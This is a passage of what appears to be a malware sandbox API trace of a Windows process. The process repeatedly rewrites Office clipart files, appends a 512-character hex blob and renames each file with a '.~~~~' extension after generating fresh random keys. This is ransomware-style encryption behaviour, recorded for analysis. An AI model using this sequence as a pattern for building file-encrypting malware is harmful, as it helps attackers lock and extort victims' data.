	[0093.241] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.242] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.242] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.242] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.242] CloseHandle (hObject=0x13c) returned 1
	[0093.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.242] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.~~~~")) returned 1
	[0093.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0093.243] GetLastError () returned 0x0
	[0093.252] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0093.253] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.253] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0093.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0093.254] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21324366105) returned 1
	[0093.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa15a8c50, dwHighDateTime=0x1d60e1e)) 
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3882f8
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3882f8 | out: hHeap=0x300000) returned 1
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c678
	[0093.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.254] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0093.395] GetLastError () returned 0x0
	[0093.395] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0093.395] GetLastError () returned 0x0
	[0093.781] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff0301, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.781] WriteFile (in: hFile=0x13c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0xfcff, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0xfcff, lpOverlapped=0x0) returned 1
	[0093.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0093.783] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.783] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.783] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.783] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.783] CloseHandle (hObject=0x13c) returned 1
	[0093.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.783] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.~~~~")) returned 1
	[0093.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0093.784] GetLastError () returned 0x0
	[0093.785] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0093.786] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.786] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0093.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0093.786] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21377663056) returned 1
	[0093.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa19d32d0, dwHighDateTime=0x1d60e1e)) 
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3884b8
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3884b8 | out: hHeap=0x300000) returned 1
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e090
	[0093.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.787] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0093.787] GetLastError () returned 0x0
	[0093.787] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0093.788] GetLastError () returned 0x0
	[0093.879] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd9f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.880] WriteFile (in: hFile=0x13c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x2610, lpOverlapped=0x0) returned 1
	[0093.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0093.880] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.881] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.881] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.881] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.881] CloseHandle (hObject=0x13c) returned 1
	[0093.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.~~~~")) returned 1
	[0093.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0093.882] GetLastError () returned 0x0
	[0093.883] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0093.883] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.884] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0093.884] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21387380242) returned 1
	[0093.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1ab7b10, dwHighDateTime=0x1d60e1e)) 
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388560
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388560 | out: hHeap=0x300000) returned 1
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e388
	[0093.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.884] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0093.884] GetLastError () returned 0x0
	[0093.884] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0093.885] GetLastError () returned 0x0
	[0093.886] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff1ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.886] WriteFile (in: hFile=0x13c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0xe16, lpOverlapped=0x0) returned 1
	[0093.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0093.887] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.887] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.887] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.887] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.887] CloseHandle (hObject=0x13c) returned 1
	[0093.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.~~~~")) returned 1
	[0093.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0093.888] GetLastError () returned 0x0
	[0093.888] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0093.889] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.889] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0093.890] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21387970783) returned 1
	[0093.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1addc70, dwHighDateTime=0x1d60e1e)) 
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388598
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388598 | out: hHeap=0x300000) returned 1
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e550
	[0093.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.890] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0093.890] GetLastError () returned 0x0
	[0093.890] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0093.890] GetLastError () returned 0x0
	[0094.010] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdc3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.011] WriteFile (in: hFile=0x13c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x23c2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x23c2, lpOverlapped=0x0) returned 1
	[0094.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0094.012] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.012] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.012] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.012] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.012] CloseHandle (hObject=0x13c) returned 1
	[0094.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.013] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.~~~~")) returned 1
	[0094.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0094.014] GetLastError () returned 0x0
	[0094.015] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0094.016] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.016] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0094.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0094.016] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21400658270) returned 1
	[0094.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa1c0e770, dwHighDateTime=0x1d60e1e)) 
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388678
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388678 | out: hHeap=0x300000) returned 1
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e5e8
	[0094.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.017] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0094.017] GetLastError () returned 0x0
	[0094.017] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0094.018] GetLastError () returned 0x0
	[0094.087] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffecae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.087] WriteFile (in: hFile=0x13c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x1352, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x1352, lpOverlapped=0x0) returned 1
	[0094.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0094.087] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
